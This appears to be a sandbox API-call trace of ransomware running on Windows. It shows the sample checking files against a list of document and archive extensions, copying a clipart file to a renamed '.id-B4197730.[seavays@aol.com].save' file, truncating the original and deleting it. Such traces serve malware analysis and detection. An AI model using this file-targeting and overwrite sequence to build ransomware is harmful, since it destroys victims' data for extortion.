[0171.198] lstrlenW (lpString=".doc") returned 4 [0171.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.198] lstrlenW (lpString=".docx") returned 5 [0171.198] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.198] lstrlenW (lpString=".pdf") returned 4 [0171.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.198] lstrlenW (lpString=".xls") returned 4 [0171.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.198] lstrlenW (lpString=".xlsx") returned 5 [0171.198] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.198] lstrlenW (lpString=".ppt") returned 4 [0171.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.198] lstrlenW (lpString=".zip") returned 4 [0171.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.198] lstrlenW (lpString=".rar") returned 4 [0171.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.198] lstrlenW (lpString=".bz2") returned 4 [0171.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.198] lstrlenW (lpString=".7z") returned 3 [0171.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.199] lstrlenW (lpString=".dbf") returned 4 [0171.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.199] lstrlenW (lpString=".1cd") returned 4 [0171.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.199] lstrlenW (lpString=".jpg") returned 4 [0171.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.199] lstrlenW (lpString=".doc") returned 4 [0171.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.199] lstrlenW (lpString=".docx") returned 5 [0171.199] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.199] lstrlenW (lpString=".pdf") returned 4 [0171.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.199] lstrlenW (lpString=".xls") returned 4 [0171.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.199] lstrlenW (lpString=".xlsx") returned 5 [0171.199] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.199] lstrlenW (lpString=".ppt") returned 4 [0171.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.202] lstrlenW (lpString=".zip") returned 4 [0171.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.202] lstrlenW (lpString=".rar") returned 4 [0171.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.202] lstrlenW (lpString=".bz2") returned 4 [0171.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.202] lstrlenW (lpString=".7z") returned 3 [0171.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.202] lstrlenW (lpString=".dbf") returned 4 [0171.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.202] lstrlenW (lpString=".1cd") returned 4 [0171.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.202] lstrlenW (lpString=".jpg") returned 4 [0171.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.202] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.203] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0171.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.205] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=21184) returned 1 [0171.205] CloseHandle (hObject=0x510) returned 1 [0171.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0171.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.206] lstrlenW (lpString=".doc") returned 4 [0171.206] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.206] lstrlenW (lpString=".docx") returned 5 [0171.206] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.206] lstrlenW (lpString=".pdf") returned 4 [0171.206] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.206] lstrlenW (lpString=".xls") returned 4 [0171.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.207] lstrlenW (lpString=".xlsx") returned 5 [0171.207] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.207] lstrlenW (lpString=".ppt") returned 4 [0171.207] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.207] lstrlenW (lpString=".zip") returned 4 [0171.207] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.207] lstrlenW (lpString=".rar") returned 4 [0171.207] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.207] lstrlenW (lpString=".bz2") returned 4 [0171.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.208] lstrlenW (lpString=".7z") returned 3 [0171.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.208] lstrlenW (lpString=".dbf") returned 4 [0171.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.208] lstrlenW (lpString=".1cd") returned 4 [0171.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.208] lstrlenW (lpString=".jpg") returned 4 [0171.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.208] lstrlenW (lpString=".doc") returned 4 [0171.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.208] lstrlenW (lpString=".docx") returned 5 [0171.208] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.208] lstrlenW (lpString=".pdf") returned 4 [0171.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.208] lstrlenW (lpString=".xls") returned 4 [0171.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.209] lstrlenW (lpString=".xlsx") returned 5 [0171.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.209] lstrlenW (lpString=".ppt") returned 4 [0171.209] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.209] lstrlenW (lpString=".zip") returned 4 [0171.209] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.209] lstrlenW (lpString=".rar") returned 4 [0171.209] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.209] lstrlenW (lpString=".bz2") returned 4 [0171.209] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.209] lstrlenW (lpString=".7z") returned 3 [0171.209] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.209] lstrlenW (lpString=".dbf") returned 4 [0171.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.209] lstrlenW (lpString=".1cd") returned 4 [0171.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0171.209] lstrlenW (lpString=".jpg") returned 4 [0171.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.210] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.210] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0171.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.213] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19136) returned 1 [0171.213] CloseHandle (hObject=0x510) returned 1 [0171.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0171.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.213] lstrlenW (lpString=".doc") returned 4 [0171.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.214] lstrlenW (lpString=".docx") returned 5 [0171.214] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0171.214] lstrlenW (lpString=".pdf") returned 4 [0171.214] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.214] lstrlenW (lpString=".xls") returned 4 [0171.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.214] lstrlenW (lpString=".xlsx") returned 5 [0171.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0171.214] lstrlenW (lpString=".ppt") returned 4 [0171.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.214] lstrlenW (lpString=".zip") returned 4 [0171.214] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.214] lstrlenW (lpString=".rar") returned 4 [0171.214] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.214] lstrlenW (lpString=".bz2") returned 4 [0171.214] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.214] lstrlenW (lpString=".7z") returned 3 [0171.214] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.215] lstrlenW (lpString=".dbf") returned 4 [0171.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.215] lstrlenW (lpString=".1cd") returned 4 [0171.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.215] lstrlenW (lpString=".jpg") returned 4 [0171.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.215] lstrlenW (lpString=".doc") returned 4 [0171.215] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.215] lstrlenW (lpString=".docx") returned 5 [0171.215] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0171.215] lstrlenW (lpString=".pdf") returned 4 [0171.216] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.216] lstrlenW (lpString=".xls") returned 4 [0171.216] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.216] lstrlenW (lpString=".xlsx") returned 5 [0171.216] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0171.216] lstrlenW (lpString=".ppt") returned 4 [0171.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.216] lstrlenW (lpString=".zip") returned 4 [0171.216] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.216] lstrlenW (lpString=".rar") returned 4 [0171.216] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.216] lstrlenW (lpString=".bz2") returned 4 [0171.216] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.216] lstrlenW (lpString=".7z") returned 3 [0171.216] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.216] lstrlenW (lpString=".dbf") returned 4 [0171.216] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.216] lstrlenW (lpString=".1cd") returned 4 [0171.216] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0171.216] lstrlenW (lpString=".jpg") returned 4 [0171.217] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.217] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.217] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0171.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.455] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19136) returned 1 [0171.455] CloseHandle (hObject=0x510) returned 1 [0171.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0171.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.848] lstrlenW (lpString=".doc") returned 4 [0172.849] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.849] lstrlenW (lpString=".docx") returned 5 [0172.849] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.849] lstrlenW (lpString=".pdf") returned 4 [0172.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.849] lstrlenW (lpString=".xls") returned 4 [0172.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.849] lstrlenW (lpString=".xlsx") returned 5 [0172.849] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.849] lstrlenW (lpString=".ppt") returned 4 [0172.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.849] lstrlenW (lpString=".zip") returned 4 [0172.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.849] lstrlenW (lpString=".rar") returned 4 [0172.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.849] lstrlenW (lpString=".bz2") returned 4 [0172.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.849] lstrlenW (lpString=".7z") returned 3 [0172.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.849] lstrlenW (lpString=".dbf") returned 4 [0172.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.849] lstrlenW (lpString=".1cd") returned 4 [0172.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.850] lstrlenW (lpString=".jpg") returned 4 [0172.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.850] lstrlenW (lpString=".doc") returned 4 [0172.850] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString=".docx") returned 5 [0172.850] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.850] lstrlenW (lpString=".pdf") returned 4 [0172.850] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString=".xls") returned 4 [0172.850] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString=".xlsx") returned 5 [0172.850] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.850] lstrlenW (lpString=".ppt") returned 4 [0172.850] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.850] lstrlenW (lpString=".zip") returned 4 [0172.850] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString=".rar") returned 4 [0172.850] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.850] lstrlenW (lpString=".bz2") returned 4 [0172.850] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.850] lstrlenW (lpString=".7z") returned 3 [0172.850] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.851] lstrlenW (lpString=".dbf") returned 4 [0172.851] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.851] lstrlenW (lpString=".1cd") returned 4 [0172.851] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0172.851] lstrlenW (lpString=".jpg") returned 4 [0172.851] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.851] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0172.851] lstrlenW (lpString="CARBN_01.MID") returned 12 [0172.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0172.852] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=9322) returned 1 [0172.852] CloseHandle (hObject=0x534) returned 1 [0172.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0172.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0172.853] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.853] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0172.854] GetLastError () returned 0x0 [0172.854] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x246a, lpOverlapped=0x0) returned 1 [0172.856] WriteFile (in: hFile=0x538, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2470, lpOverlapped=0x0) returned 1 [0172.859] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0172.859] WriteFile (in: hFile=0x538, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0172.859] SetEndOfFile (hFile=0x538) returned 1 [0172.860] CloseHandle (hObject=0x538) returned 1 [0172.860] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.860] SetEndOfFile (hFile=0x534) returned 1 [0172.863] CloseHandle (hObject=0x534) returned 1 [0172.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0172.865] lstrlenW 